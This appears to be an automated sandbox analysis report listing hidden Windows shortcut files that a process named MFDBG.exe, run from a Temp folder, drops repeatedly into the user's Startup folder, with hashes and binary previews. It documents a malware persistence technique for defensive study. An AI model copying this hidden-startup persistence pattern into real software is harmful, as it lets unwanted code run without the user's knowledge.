File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921473266587212
Encrypted:	false
SSDEEP:	24:8ABf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8OFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CCEDCC5736C3613EB34FA529E27FDC7F
SHA1:	FED32B3737F61C402AD5FE880BDD61D52D12E5E2
SHA-256:	F82F5BDE5B070206307AA8CB7864D4E16F27A964F6F347A751D0EE63A892AD03
SHA-512:	4A63F8F34122CA67E722CCC3CCCA34D172BD501C97070F5C56EC9AC80F4D45B4C6CFC3733E2CFA399A7FF84EF20CBACF07DC7743BD9D26B3204FA17BA7A3B9F0
Malicious:	false
Preview:	L..................F....".......d......:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...4..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_46837c03827945b88da679bb510c6712.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920909960817723
Encrypted:	false
SSDEEP:	24:8xBf/8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8L8EvZ0yRO7DLO2zdxdRd1kyg
MD5:	96736BD0D334435343D00E0C532136D2
SHA1:	978EE509E9B3DB48ABE5953843C77B1C41AC5EFF
SHA-256:	F553A6F44AAE68D99ACF970BB32CA39DB2562AE05FCCAFB1FED5C4F30ACD3DDA
SHA-512:	FD53305725B96F131E9057355EDF3D7C8559575FF668A2ABB4685B82CE4DAD928EBB29A4FF8121237EB5D4E7CE7F1D4F69C7D697F27CAFC659B885FCD67471ED
Malicious:	false
Preview:	L..................F....".......d...l/.]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...l/.]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4718545bcb024f5fa8cb12241d96da27.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920018214204478
Encrypted:	false
SSDEEP:	24:89BfU98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8v5EvZ0yRO7DLO2zdxdRd1kyg
MD5:	F13D3857285EEC195C08CE91C1E3968E
SHA1:	361085707E50085926E5BDFAEBECC076EFBD7A11
SHA-256:	F4F2DC24D315398236469294A9142A6B05D9A76D55DB36C1A5A519FAB9B6C40A
SHA-512:	4012C2B960E6CAD3C6AC0670F9E46F3C75475B77029E476F87388AA996D4E68819EC179C63E20BC0CAEA95BD41F9A9F8F12189866B851AB7B7CBF4D550EB498F
Malicious:	false
Preview:	L..................F....".......d.....'Sd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Sd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_476d3cd0c57f4e6e97af8426fd53b501.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924872641521064
Encrypted:	false
SSDEEP:	24:8VurBf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:84dyQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3143885EFB0C819D30D5F78824743AAA
SHA1:	524594FB781A3E8A0F6A1F718E512D13E72F7158
SHA-256:	ACB1F9EF1BCFBAD8E8022600DB86677B0805E0E3EFF9EBA498FA4039781C359C
SHA-512:	D5814DE2E0DB0CBA23592F7E854B39AC1B091FCEBFB32F17F3A6FB14CF4FAD9D7A4AB8CA119D4BF14CA4C1072E0D43BB54E06A267BB0772369FE983DAE0BD43F
Malicious:	false
Preview:	L..................F....".......d......%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_48b929ee2c064d2abc6cfa78f2c6a596.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929493886012551
Encrypted:	false
SSDEEP:	24:81BfiD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:83aQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9302979B68B15161A2EC390E18334D5C
SHA1:	F147DC6B61C6AFBF64B3E609C659AE0EA3A79AC8
SHA-256:	FF822B66CE13A8796B565C53BFEE3896D51D61F9C8BC664237D63B37E11F3B86
SHA-512:	AA2265F3C1F58666135760F9527C252136634B08AD4F9CD77E8A102A1C3590C0AF30246AAC660CB37BF6F127EF71BF1B57C992651C8D7D347A996D923008D8F2
Malicious:	false
Preview:	L..................F....".......d...i.:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...R..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_48fe1bbd544c43dea45168e0e6b3ce89.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922357440664436
Encrypted:	false
SSDEEP:	24:80BfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8aGEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DEEC0C4C6B8EC0A6CCB88AEE0AA090CA
SHA1:	74A16874D1B283E408701E1BF32B3B33A75F06C5
SHA-256:	0D9B3FC2FACDABDDF8F24F48B451E87DC2DE3B7860D62612F2CA27F5D5FF8498
SHA-512:	10FBF0CC7F516B707D89EFC1C67258C1715B7EE6212F8656D44090A6F7E050D4026CB3EBED9B70ED9E40B7DC27905ED71672A71C64A701AEB55DD3242A8EA595
Malicious:	false
Preview:	L..................F....".......d.....\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....X\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_49f7c38a3dc947d78bcbf25b163a87d8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:42 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924463484299294
Encrypted:	false
SSDEEP:	24:8HBfu8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8h7EvZ0yRO7DLO2zdxdRd1kyg
MD5:	4BF846834A15CFFB12176C2611E3FA21
SHA1:	8FCEBF60CC8DA0D080968538818A9C97F89E9EDE
SHA-256:	6BDC691D5DB4A73D192D66110AFADFF4819E01F6DE852E032097A8344905A251
SHA-512:	3ED63AC32613AF2DE43EA8441593BC4708F3C656D3248ADC1910FF2341BD0726CDA02B8F4DD3808A5EF6FAD8E334BBAA49A4D53BFA5D1BF4ACBC66A62FDB920C
Malicious:	false
Preview:	L..................F....".......d......Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4a6fb8d778114e668acde82e743ef28d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917449475503971
Encrypted:	false
SSDEEP:	24:8ZrBfW8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:83DEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2F8E78196D51E48A4C306DE36AF4A62C
SHA1:	96ECCD75EEB98DFD2A1C90AAD175092F42359C6E
SHA-256:	6C9EBCEF95D0D4869D869CDFA724F0000967F57B7AE9D518AF9BB3E4FE9B7FF9
SHA-512:	F2ACF38F4F3910E97876D7927E5534C3157DC7A33DC811AE666DE33D63D12BEB654DB3B015FBE5BB7A73887699EFFFB891F2B94C153BE11479E6F06FBBA2481A
Malicious:	false
Preview:	L..................F....".......d......\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...)..\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4b04f8268a4a4b9fb20032b6d752fbcc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931921099670846
Encrypted:	false
SSDEEP:	24:8ABfE8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8OpEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7151841F553328049525959FF9289BD8
SHA1:	E5EA3223BF9F6A96430290D5BF8952E489EF232F
SHA-256:	BEB04196B169DC335FAA981132FE3B44B67EE15E0E6CAC47B5187C357DCF3795
SHA-512:	62288A335C4425C9F0CC3621EBF3254AF225244E96D8DC21464DFE0170279142180F6E86209EA6FA3BB214BBE2E295B86C4AC2ADCDE7F16D39ACDBA7567B19A7
Malicious:	false
Preview:	L..................F....".......d...%..]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....%]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4b0ffb83282a4951bd88c047f7463230.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92596965693766
Encrypted:	false
SSDEEP:	24:81BfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:83GEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3DD3DF602D0D45ED893FC4EF4F455DDF
SHA1:	71F9C8E2FB985A9E94F268060D416C8EFED949A9
SHA-256:	8C982B3F9BE0B7904316DD6BF030123D675E3845940FC8500A71842A0A3E3A00
SHA-512:	63279C39C6628CA9CE01079B2940D1923F63C751A7C06D7ED51A17D9A7E9314D3F3DC707ADB948822C232149AFC24A9EC5B44D2B0BB2499189F7C7702EB3CDF5
Malicious:	false
Preview:	L..................F....".......d..._.d\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....X\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4b256af91ac447138d3f1ef4c329441f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:08 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9258816697393275
Encrypted:	false
SSDEEP:	24:8frBf98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8FCEvZ0yRO7DLO2zdxdRd1kyg
MD5:	996117E10478629BDEDBC645CED6D465
SHA1:	6987E8858FDDDF7C5557C88CE5AE6D6DD39D0ED6
SHA-256:	BD1B87E9DCD2C71B090237D5FB5BD73446D9D95721222E626C411CD73C473028
SHA-512:	9E1B3E59C30235C587BFAB69DF123296CEBCB029EBDE9E05C4827C35A54229A1D7BA25E38A756AE782FA48816AD5D783FB13CBD06DC47DB083CC14E80CC54881
Malicious:	false
Preview:	L..................F....".......d...n."d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...*."d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4b395487681745e1a61a89a418797192.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.909496647235442
Encrypted:	false
SSDEEP:	24:84BfU98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:825EvZ0yRO7DLO2zdxdRd1kyg
MD5:	380CE7FBD006E7E058263CBF83C6D856
SHA1:	C6FA55A9E0CDC98BEDAB0550D5E885F9A27AFE2D
SHA-256:	93B170DF2F30ACE0051A2D48D675B7DDAED8F5AFA51E740CD742773D242546BD
SHA-512:	D5AC755AD0121662A4392BBF0AECFE83F90431429DA0449154B0ED00467041E7CB519CDB715804B3A8417CA34496FFD127F12A272D9E8981A6D65999EEB8AE91
Malicious:	false
Preview:	L..................F....".......d......Sd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Sd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4b7024b7a59844cf920940e805d6e1ec.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:50 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916977021680968
Encrypted:	false
SSDEEP:	24:87lBff48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8LdEvZ0yRO7DLO2zdxdRd1kyg
MD5:	FF5D4286800BCAD7ECDAB2FCEDBAE394
SHA1:	B63FA41EA6BEC846A5DEBF9D8C931B33627C739E
SHA-256:	04FF7CAA011C1599F88C97E72EC91882FB14B68EBF93565DB919E65C4815957A
SHA-512:	27C31A7FAD8BEE8A542B00A267E1AD5B1C3FE61A7C183CF9967C9F2A9E9ABBF4EFD1E634E66C6F239AD73B9312A6FEF205824C9DFAB987B0DA377587F94D51D3
Malicious:	false
Preview:	L..................F....".......d...m2]_d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...!.L_d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4b917c3aaed948ec9692b663ff65ec36.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
